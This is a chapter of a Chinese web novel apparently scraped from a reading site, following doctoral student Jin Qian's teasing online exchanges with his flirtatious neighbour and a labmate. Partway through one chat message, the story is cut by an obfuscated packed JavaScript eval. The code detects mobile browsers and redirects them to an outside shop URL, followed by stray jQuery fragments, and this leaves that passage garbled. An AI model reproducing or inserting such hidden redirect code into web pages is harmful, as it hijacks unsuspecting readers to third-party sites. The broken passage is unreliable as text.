默认冷灰
24号文字
方正启体

5. 未接来电

作者:闻声渐醒本书字数:K更新时间:
    靳谦打开房门,迎面对上倚着门框的应辞年。


    他似乎早已恭候多时,晃着手里的东西冲靳谦挤眉弄眼,配上那副硬帅的好皮相,给人一种清爽又油腻的诡异感,笑得忒不值钱:“邻居动作挺快啊。”


    “总不能让大艺术家和他刚完成的作品一起等我。”靳谦礼貌回以一笑,藏锋带刃,“两步路的事。”


    应少爷大抵是一天不笑会死,每次和他碰面都像从他导师院里跑出来的精神病人,笑得神经兮兮莫名其妙,靳谦有时候真想摁个计数器看看这人一天能笑多少次。


    一天天的有什么事这么值得开心?


    身为在读博士,每天被导师push到深更半夜还要给师弟师妹们当免费带教老师的靳谦,深知自己永远无法和这帮游手好闲的二世祖共情。


    光是想想,就忍不住化身法外狂徒。


    “那这画你可得小心捧着。”应辞年眼底的惊诧一闪而过,转而荡漾着笑,手指在虚空中划了个范围:“下次,大艺术家没准儿就要收他家门口的过路费了。”


    “画不收费?”靳谦嗓音醇厚,带着微不可察的低笑。


    应辞年:“当然,给孩子的。”


    “应少爷还是那么大方。”


    这话明褒暗讽,十足的阴阳怪气。


    要是听话的人迟钝点也就算了,偏偏应辞年和靳谦相识多年,秒懂他的言下之意。


    应辞年眸色愈深,直勾勾盯着靳谦,毫不掩饰自己的目光,笑容暧昧不明:“那是,我对你一直很大方。”


    这样赤裸又迷惑的眼神,靳谦只在应辞年身上见过,虽说时间久了屡见不鲜,可他还是在事先早有准备的前提下被膈应了一手。


    搞艺术的就是不一样,放得开。


    也可以说是……


    不要脸。


    “这样啊。”靳谦故作讶然,仿佛第一天知道。


    灰黑色眼眸低垂又抬起,再和应辞年视线相对时同样盈满了笑意,声音低沉,言语不逞多让:“那希望应少爷在别的事上也能一样大方。”


    最好不要再使一些上不了台面的手段给他找麻烦。


    应辞年怔愣一瞬,薄唇动了动,张口忘言。


    等他回过神,只有一扇紧闭的钢铁防盗门矗立在眼前,靳谦早带着他给小朋友的礼物不见踪影。


    应辞年:“……”


    熟悉的场景,熟悉的拒之门外。


    以前倒没觉得家门口冷成这样。


    —


    [Cian:Hello邻居,我知道你在。]


    人在一肚子坏水的时候永远不嫌事多,应辞年线下没折腾够,线上接着骚扰靳谦。


    [Cian:邻居啊,已读不回可不是什么好习惯,你这叫冷暴力,挂网上要被唾沫星子淹死的。]


    [Cian:哎不是,我记得你对别人好像不这样啊,针对我?[疑问]]


    [Cian:哦我知道了,你是在试图引起我的注意[墨镜]]


    [Cian:[男人,你在玩火.jpg]]


    [Cian:[上网只是为了和你聊天,晚上好我的朋友.jpg]]


    喻晨递给他手机时,靳谦注视着屏幕上如流水般闪过的消息——特别是某个柴犬微笑举杯的表情包,眼前一片漆黑,完全看不到自己的未来。


    叽叽喳喳的。


    聒噪。


    摊上这么个邻居,以后的日子有得闹心。


    “晨晨,你自己先玩会儿,我处理点事。”靳谦弯下腰,对喻晨低声细语道。


    喻晨捏着手里的卡通画,自觉去一旁收拾乱作一团的闹钟零件。


    靳谦看着他关好房门,逐渐消失在视野里,这才进了书房。


    书桌上,笔记本电脑还亮着屏,上边挂着论文修改界面和小窗组会群,旁边的平板上正显示他与薄师妹的vx聊天以及分屏的企鹅主页。


    打开灯,靳谦从书架上抽出一本前些天从师母张医生那儿顺回来的《登天之梯》,走到书桌前拉开椅子坐下,长腿自然舒展。


    准备工作就绪,靳谦在电脑上登录私人vx,点击同步最近消息。


    下一刻,消息提示的叮咚声在他耳边足足响了快两分钟,那位闲出屁的大艺术家一个人自嗨半天,硬生生给自己唠美了。


    点开聊天框一滑,全是新消息。


    靳谦:“……”


    默了默,他发自内心请教:[你最近空余时间很多?]


    应辞年秒回:[不,我很忙的。]


    靳谦刚想说既然忙就别在他这里浪费时间,字还没打完,就见下方又弹出一条新的:[忙着看你会不会回我消息。]


    [Cian:心动吗宝贝[玫瑰]]


    之前还跳得好好的,刚才差点停了。


    靳谦扯了扯嘴角,选择性回复:[应少爷时间宝贵,用来等我的回复可不划算。]


    [Sean:你的时间,应该留给更值得的人和事,对吧?]


    [Cian:Everything else pales,you’re the only worth that lingers.]


    应辞年压根儿不按套路出牌,一句意味不明的洋文突然窜出来,看得靳谦无言以对。


    对面好像察觉到他一时语塞,抓准机会持续输出:[好歹我也给你家小朋友送了见面礼,回我两句消息不过分吧?]


    应少爷脸皮堪比防弹玻璃,该道德绑架的时候一点儿不含糊。


    靳谦眯了眯眼:[不过分。]


    只是——


    [Sean:这礼是不是有点薄了?]


    应辞年摸着下巴一想,意识到确实寒碜,不像他平时的风格,赶紧为自己挽尊:[这不是初次见面太仓促了嘛,等我几天[委屈]]


    又装。


    靳谦扶着酸痛的太阳穴,首肯道:[行。]


    应辞年立刻顺杆上爬,在给自己提供情绪价值这块儿没得话说:[现在,劳驾靳博士回我以下几条。]


    靳谦熟练地回了个初始表情里的“OK”,依旧弹人脑瓜崩。


    被隔空弹脑门的应辞年全然不知,心情雀跃,一连引用了最炸裂的那两条消息。


    [Cian:1/Cian:心动吗宝贝[玫瑰]]


    [Cian:2/Cian:Everything else pales,you’re the only worth that lingers.]


    [Cian:靳博,请[心]]


    靳谦视线聚焦在电脑屏幕上,心道怕什么来什么,墨菲定律诚不欺我。


    他马上调整好状态,一边思考话术,一边徐徐敲打键盘,手指翻飞,行云流水。


    不过片刻,那双骨节分明的手停在了键盘上。


    [Sean:你问出这句话的时候,心里更希望听到‘是’,还是‘不是’?”/Cian:1]


    [Sean:Careful. Once something is deemed ‘the only’, it bes dangerously easy to miss./Cian:2]


    这年头谁还不会拽个洋文?


    问题重新抛给应辞年,比起他方才那番话有过之而无不及。


    对面难得没有立刻回复,而是沉默了许久。


    一人被噎上一回,算作扯平。


    靳谦心满意足,见好就收:[我有事先下了,大艺术家不要忘了孩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123098|195991||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子的见面礼。]


    —


    他说下线是真下,几个设备上的工作一个接一个往外蹦,凑一块儿看得人眼花缭乱。


    靳谦工作的时候不太看手机,要用也是用抽屉里放着的备用机。


    手机扔在客厅茶几上,从根源处杜绝分心。


    他先是审阅了一遍辅导员工作号上的学生消息,确定都看过也都回复了、除去千奇百怪的批假理由外没什么大事,随后才在组会群里通知这周什么时候组会汇报。


    群里痛嗷声不止,一个个双手合十附加叮当猫磕头表情包求师兄放过,列队刷屏整齐划一,就连薄零也跟在里头凑热闹。


    靳谦淡定装瞎,只当没看见。


    然后,意料之内的,迎来了薄师妹的小窗私信。


    【薄师妹:师兄,你还记得咱们上次开组会是什么时候吗?[微笑]】


    也只有嫡师妹才敢对嫡师兄发死亡微笑,剩下的庶本硕博全夹着尾巴做人,一声都不敢吱。


    靳谦微微思索了下,明知故问:【什么时候?】


    薄师妹心如死灰地敲出两个大字:【今天。】


    靳谦:【那还好啊。】


    【薄师妹:好个屁啊好![怒]你tm下次组会定周五[怒]你还让不让人活了!![怒]】


    【薄师妹:你信不信我明天就在你办公室门口吊死?[裂开]】


    【薄师妹:[我不是男人,也不是女人,我是死人.jpg]】


    靳谦只回了她第二条:【首先,我明天不去办公室,假设你在导员办公室门口吊死,应该只会吓到其他无辜老师和路过的可怜学生。】


    【其次,我们办公室门口好像没什么地方可以挂绳子,你要是搞朝堂撞柱文臣死谏那一套,操作可行性兴许会更高。】


    【最后,我不信,你的惜命程度堪比一台老爷车。】


    薄师妹个人日常饮食次次如临大敌,交通出行回回如履薄冰,再深下去确诊被害妄想症指日可待。


    再说了,薄师妹家里还有个精神病患者要照顾。


    这样的人,哪能说死就死?


    聊天框上方还显示着“对方正在输入中”,趁着机会,靳谦率先微笑补充:【师兄拒绝了你的幽默并对你泼了盆冷水。】


    这盆冷水效果显著,顶上那行字瞬间停滞不动,连着师妹的心一起冻得拔凉拔凉。


    事情到此为止也就算了,恐怖的是,靳谦还在追着杀。


    【靳师兄:老师说你之前把太多时间花在了谈恋爱上,虽然他支持我们完成终身大事,但你在两者需要的时间上分配不均,着实严重影响自身学业和集体进度,新学期新气象,老师让我通知你,明天记得去他办公室一趟,和他谈谈心,顺便展望展望未来[握手]】


    靳谦没骗她。


    通知确有其事,他本来想着在导师那儿装作忙忘了没告诉薄师妹,让她再歇个几天。


    可现在师妹自己主动撞上来,这可就怪不得他了。


    薄零在网线另一端把整张脸从头到尾搓了个遍,最后咬牙切齿回复靳谦:【好的,师兄。】


    同门之间的“友好”交流就此结束,靳谦最后调整了一遍论文格式,先备份云端再发了份给导师。


    等到事情完成得差不多了,他打开桌上那本儿童心理学著作准备学习一二,刚翻几页,外面倏地传来敲门声。


    靳谦合上书,冲着外面的人喊道:“进。”


    门被打开,喻晨拿着他的手机走进来,两个大眼睛炯炯有神,里面布满了认真。


    他说:“哥哥,电话。”


    大晚上的,能有谁给他打电话?


    靳谦接过手机一看,上面赫然列着二十多个标红的未接来电。


    ——联系人显示:敏敏。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)